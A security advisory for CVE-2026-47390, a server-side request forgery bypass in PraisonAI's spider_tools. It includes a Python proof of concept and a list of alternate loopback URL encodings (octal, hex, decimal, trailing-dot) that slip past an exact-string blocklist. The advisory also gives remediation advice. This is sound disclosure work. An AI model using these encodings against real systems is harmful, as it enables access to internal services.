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PraisonAI CVE-2026-47390

MEDIUM
Server-Side Request Forgery (SSRF) (CWE-918)
2026-05-29 https://github.com/MervinPraison/PraisonAI GHSA-5c6w-wwfq-7qqm
5.5
CVSS 3.1 · GitHub Advisory
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Severity by source

GitHub Advisory PRIMARY
5.5 MEDIUM
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 29, 2026 - 22:50 vuln.today
Analysis Generated
May 29, 2026 - 22:50 vuln.today

DescriptionGitHub Advisory

Summary

PraisonAI's spider_tools URL validation can be bypassed using alternate loopback host encodings.

The affected component is:

text
praisonaiagents/tools/spider_tools.py

The tool contains a URL validation function intended to block local or unsafe targets before fetching attacker-controlled URLs. However, the validation only blocks a small set of exact host strings such as localhost and 127.0.0.1.

It does not normalize hostnames, resolve DNS, parse numeric IPv4 variants, or validate the final resolved IP address before making the request.

As a result, URLs such as the following bypass the protection and still reach loopback services:

text
http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

After the weak validation passes, scrape_page() calls requests.Session.get() on the attacker-controlled URL. This allows an attacker who can influence URLs passed to scrape_page, crawl, or extract_text to induce SSRF requests against loopback-only services.

This is a server-side request forgery protection bypass.

Details

The affected code is in:

text
praisonaiagents/tools/spider_tools.py

The vulnerable flow is:

text
attacker-controlled URL
  -> spider_tools._validate_url(...)
  -> weak exact-host blocklist check
  -> validation passes for alternate loopback encodings
  -> scrape_page(...)
  -> requests.Session.get(attacker_url)
  -> loopback service is reached

The validation appears to block only exact local hostnames or exact IPv4 strings. For example, it blocks simple forms such as:

text
localhost
127.0.0.1

However, equivalent loopback forms are not rejected before the request is made.

Confirmed bypass examples:

text
http://localhost.:8765/
http://127.1:8765/
http://0177.0.0.1:8765/
http://0x7f000001:8765/
http://2130706433:8765/

These values can resolve or be interpreted as loopback addresses by the HTTP client / underlying networking stack, while bypassing the string-based validation.

The issue is not that spider_tools can fetch arbitrary URLs. The issue is that it attempts to provide SSRF protection, but the protection can be bypassed with alternate representations of loopback addresses.

PoC

The following PoC is non-destructive. It starts a local HTTP server on 127.0.0.1:8765, then sends several alternate loopback URL forms through the real spider_tools validation/fetch path.

The expected secure behavior is that all loopback variants should be rejected before any HTTP request is made.

The actual vulnerable behavior is that the alternate loopback forms pass validation and reach the local server.

Full PoC
python
#!/usr/bin/env python3
"""PoC for PraisonAI spider_tools localhost-alias SSRF bypass."""

from __future__ import annotations

import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path


REPO_ROOT = Path(__file__).resolve().parents[3] / "repos" / "praisonai"
AGENTS_ROOT = REPO_ROOT / "src" / "praisonai-agents"
SPIDER_TOOLS = AGENTS_ROOT / "praisonaiagents/tools/spider_tools.py"


def verify_source() -> None:
    expected = [
        "def _validate_url",
        "requests.Session",
        ".get(",
    ]

    text = SPIDER_TOOLS.read_text(encoding="utf-8")
    for needle in expected:
        if needle not in text:
            raise RuntimeError(f"source verification failed: {needle!r} not found in {SPIDER_TOOLS}")


class LocalHandler(BaseHTTPRequestHandler):
    hits: list[tuple[str, str | None]] = []
    body = b"LOCAL-SPIDER-SSRF-SECRET"

    def do_GET(self) -> None:
# noqa: N802
        self.__class__.hits.append((self.path, self.headers.get("Host")))
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, format: str, *args) -> None:
# noqa: A003
        return


def main() -> int:
    if not SPIDER_TOOLS.exists():
        raise SystemExit("missing local PraisonAI source tree")

    verify_source()

    sys.path.insert(0, str(AGENTS_ROOT))
# Import the real shipped implementation.
#
    # Depending on the exact public API exposed by spider_tools.py,
# use the exported scrape function available in the local version.
# The important path is:
#
    #   _validate_url(url)
#     -> requests.Session.get(url)
#
    import praisonaiagents.tools.spider_tools as spider_tools

    server = HTTPServer(("127.0.0.1", 8765), LocalHandler)
    thread = threading.Thread(target=server.serve_forever, daemon=True)
    thread.start()

    candidates = [
        "http://localhost.:8765/",
        "http://127.1:8765/",
        "http://0177.0.0.1:8765/",
        "http://0x7f000001:8765/",
        "http://2130706433:8765/",
    ]

    try:
        for url in candidates:
            LocalHandler.hits.clear()

            try:
# Prefer the real public scraping API when available.
                if hasattr(spider_tools, "scrape_page"):
                    result = spider_tools.scrape_page(url)
                elif hasattr(spider_tools, "extract_text"):
                    result = spider_tools.extract_text(url)
                elif hasattr(spider_tools, "crawl"):
                    result = spider_tools.crawl(url)
                else:
                    raise RuntimeError("No expected spider_tools public fetch function found")

                reached = bool(LocalHandler.hits)
                contains_secret = "LOCAL-SPIDER-SSRF-SECRET" in str(result)

                print(f"{url} passed=True reached_loopback={reached} contains_secret={contains_secret}")

                if not reached:
                    raise SystemExit(f"[poc] MISS: {url} did not reach loopback server")

            except Exception as exc:
                print(f"{url} blocked_or_failed={type(exc).__name__}: {exc}")
                raise

    finally:
        server.shutdown()
        server.server_close()
        thread.join(timeout=1)

    print("[poc] HIT: alternate loopback URL forms bypassed spider_tools SSRF protection")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
Confirmed local result

The following bypasses were confirmed locally:

text
localhost. True ok ok local hit
127.1 True ok ok local hit
0177.0.0.1 True ok ok local hit
0x7f000001 True ok ok local hit
2130706433 True ok ok local hit

This demonstrates that the validation allows alternate loopback representations and that the request reaches a local-only HTTP service.

Expected secure behavior

All loopback-equivalent addresses should be blocked before the HTTP request is made.

Examples that should be rejected:

text
http://localhost/
http://localhost./
http://127.0.0.1/
http://127.1/
http://0177.0.0.1/
http://0x7f000001/
http://2130706433/
http://[::1]/
Actual vulnerable behavior

Several alternate loopback representations pass validation and are fetched by the tool.

Impact

An attacker who can influence URLs passed to PraisonAI's spider tools can cause the process to send HTTP requests to loopback-only services.

Potential impact includes:

  • SSRF against localhost-only admin panels or development servers;
  • access to local HTTP services that are not intended to be reachable remotely;
  • retrieval of local service responses into the agent/tool output;
  • possible access to cloud metadata or private-network services if equivalent bypasses exist for those address ranges in a given deployment.

The most direct confirmed impact is loopback SSRF through alternate hostname/IP encodings.

This report does not claim arbitrary TCP access or remote code execution. The demonstrated behavior is HTTP(S) SSRF through the spider URL-fetching feature.

AnalysisAI

SSRF protection bypass in PraisonAI's spider_tools component (praisonaiagents <= 1.6.39, PraisonAI <= 4.6.39) allows an attacker who can influence URLs submitted to scrape_page(), crawl(), or extract_text() to reach loopback-only HTTP services by supplying alternate loopback address encodings such as octal IPv4, hex, decimal integer, or trailing-dot hostname forms. The _validate_url() function performs only exact-string blocklist checks against 'localhost' and '127.0.0.1', without DNS resolution, IP normalization, or post-connect address validation, causing the bypass. Publicly available exploit code (PoC) has been confirmed functional; no active exploitation via CISA KEV has been identified at time of analysis.

Technical ContextAI

The vulnerability resides in praisonaiagents/tools/spider_tools.py, a Python module that wraps requests.Session.get() to implement web scraping for the PraisonAI AI agent framework (pip packages praisonaiagents and PraisonAI). CWE-918 (Server-Side Request Forgery) describes the root cause: the application fetches remote URLs controlled by external input without adequately validating the resolved destination. The specific bypass mechanism exploits the fact that TCP/IP networking stacks and HTTP clients resolve multiple equivalent representations of 127.0.0.1/8 loopback space, including octal notation (0177.0.0.1), hexadecimal (0x7f000001), decimal integer (2130706433), short-form IPv4 (127.1), and trailing-dot hostnames (localhost.) - none of which match the blocklist's exact string checks. The fix requires either DNS pre-resolution with bind-address checking or adoption of a hardened SSRF-safe HTTP client library.

RemediationAI

Upgrade praisonaiagents to version 1.6.40 or later and PraisonAI to version 4.6.40 or later; these are the vendor-released patched versions per the GitHub advisory at https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5c6w-wwfq-7qqm. If immediate upgrade is not possible, a targeted workaround is to replace the string-based blocklist in spider_tools._validate_url() with a pre-fetch DNS resolution step that resolves the hostname to an IP address and then checks whether that IP falls within loopback (127.0.0.0/8), link-local (169.254.0.0/16), or RFC-1918 ranges before allowing the request - this eliminates all alternate encoding bypasses at the cost of an additional DNS lookup per request. Alternatively, replace requests.Session directly with a hardened SSRF-safe library such as ssrf-filter or requests-doh that performs post-resolution destination validation. Do not rely on hostname string matching alone regardless of the blocklist size, as numeric and encoding variants will always escape such checks.

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CVE-2026-47390 vulnerability details – vuln.today

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